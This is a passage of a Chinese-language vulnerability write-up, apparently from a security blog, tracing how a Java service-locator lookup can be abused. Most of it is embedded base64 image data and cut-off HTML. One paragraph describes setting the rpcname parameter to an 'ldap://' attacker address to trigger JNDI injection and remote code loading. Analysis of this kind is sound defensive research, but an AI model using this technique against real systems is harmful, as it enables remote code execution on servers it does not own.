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 truncated
|
||||
<p>调用getInstance().doGetService(name);<br>
|
||||
doGetService函数如下,NCLocator.getInstance()看起来好熟悉,在哪个漏洞接口见过。</p>
|
||||
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104937-fff7c24c-df51-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>rpcname直接设置为ldap://xxx,method和params随便设置即可,因为反射调用找不到方法导致报错是后面的事了。<br>
|
||||
直接发,获取到请求,接着打jndi就行。</p>
|
||||
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105057-2f8aae66-df52-1.png><img src=data:image/png;base64,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 truncated
|
||||
<h2 id=toc-2>0x02</h2>
|
||||
<p>由于描述说的是文件上传,查了下ServiceLocator.getService,叫做服务定位器模式,这看起来像JNDI的样子</p>
|
||||
<pre><code>服务定位模式(Service Locator Pattern)是一种设计模式,用于解耦客户端和服务的依赖关系。在服务定位模式中,一个中心的服务定位器(Service Locator)负责管理和提供服务的实例,客户端通过服务定位器来获取所需的服务,即能够在不知道抽象类的具体类型的情况下定位到服务。</code></pre>
|
||||
<p>例子如下图所示</p>
|
||||
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105128-42537a5a-df52-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAAFGCAYAAABQcr+CAAEAAElEQVR4nOzdd3xU153w/8+5ZYpGvYIQAkQRIHrvxTTjintP7MQpm02yuynbf9n2bHl299lN2c1mU+zEjgt23G1swAZM770KECBQ731mbjm/P2YYNEii2PSc9+ull400c+fMvTPnnO8953yPKCoqkiiKoiiKoiiKoiho17sAiqIoiqIoiqIoNwoVICmKoiiKoiiKokSpAElRFEVRFEVRFCVKBUiKoiiKoiiKoihRKkBSFEVRFEVRFEWJUgGSoiiKoiiKoihKlAqQFEVRFEVRFEVRolSApCiKoiiKoiiKEqUCJEVRFEVRFEVRlCgVICmKoiiKoiiKokSpAElRFEVRFEVRFCVKBUiKoiiKoiiKoihRKkBSFEVRFEVRFEWJUgGSoiiKoiiKoihKlAqQFEVRFEVRFEVRolSApCiKoiiKoiiKEqUCJEVRFEVRFEVRlCgVICmKoiiKoiiKokSpAElRFEVRFEVRFCVKBUiKoiiKoiiKoihRKkBSFEVRFEVRFEWJUgGSoiiKoiiKoihKlAqQFEVRFEVRFEVRolSApCiKoiiKoiiKEqUCJEVRFEVRFEVRlCgVICmKoiiKoiiKokSpAElRFEVRFEVRFCXKuJIHk1LiOM6VPKSiKMotxTCuaLWrKJdMtdHKrUrVq8qVdkU/USkpKSxatAghBFLKK3loRVGUm56u67z00kvoun69i6L8HsrLy2PKlCnouq7aaOWWYRgGL7zwAqZpXu+iKLeQKz6C5Louq1atUtG8oijKeebMmYMQ4noXQ/k95boujuOoNlq5ZXi9XqZOnXq9i6Hcgq5KDWnb9tU4rKIoyk1LCKGCI+WGoNpo5VahRuOVq0UlaVAURVEURVEURYlSAZKiKIqiKIqiKEqUCpAURVEURVEURVGiVICkKIqiKIqiKIoSpQIkRVEURVEURVGUKBUgKYqiKIqiKIqiRKkASVEURVEURVEUJUrtFHctuS4aEM7Jpz0liw5/AN1x8Lc3k1BzBr2xBtc0AbVXypUgpcQKhzAME03tlRAjpcSxbTRNU+dFUZRrQwIO6BkgMxyEHxAS2S4QDTpODaCjmr8ryAqH0DQdXW0KrCiXTX1rrhUhCOYXUjpqDpaugZQIKQGQQuBqOmnN9fTe/hF6a9N1Lmw3pEQzDAzTg6ZpCMBxXWwrjGvbcINtgCmlJD0zh0UPfpGdGz7hyL7tCHF9Bkw1Xcc0PQhNQwgN17GxrDCObV/7jUOlJCU1nbHT5lFxuoTDe7apIElRlKtLgEiXGOMt8EtwiQRM0b8hbLSQwNll4taKc3+7gQhNw4y2f5qm4zg2jm1j29b1Llq3PB4v9z/9Lc6cKGbTqmVqQ1VFuUwqQLrapASvn9OT76A5NRvhOgjXjXuIkBLdsWlKTKF1ziNkndhP5oGNN0wbIV2XgmGjmDBjPmmZ2Xj9CUgpCQc7aKyvZfu6lRw7uAdNu3FmbNpWmNmLHyCzVy4zb19CyZF92Na1bchs26Jg6EgmzVpEelYOvoQASEkoFKShtprDu7awe8vaaxqgSCAxJZ0Js+azb+sGDu7arAIkRVGuGqGBPtZG9HZio0hxZPTHlOhTwmhVOs4OA3n+464T13VJzchizh0PkdUrF39iEkJoWKEgLU0NHNy1me3rVqIb5vUuaozrukyctYi8AYPoN3gY+3dsor21+XoXS1FuKjdOj/YWJX0JFM97nJbkDIR74RpfSIkrJZUDRlA3bApCuhd8fKxhOftzFbiuS7/Bw7nnia+RndsXELQ2NdLW3IQEMnNyWfzQMwwePhrpXqS815Cm6ZQeP4wVClFfXYUVDl3T15dSMnbKHO7/wjfJ6ZOP0DRamxtpaWrEdVwyc/ow644HmH3ng0h5bUNhicR1HNyLfb4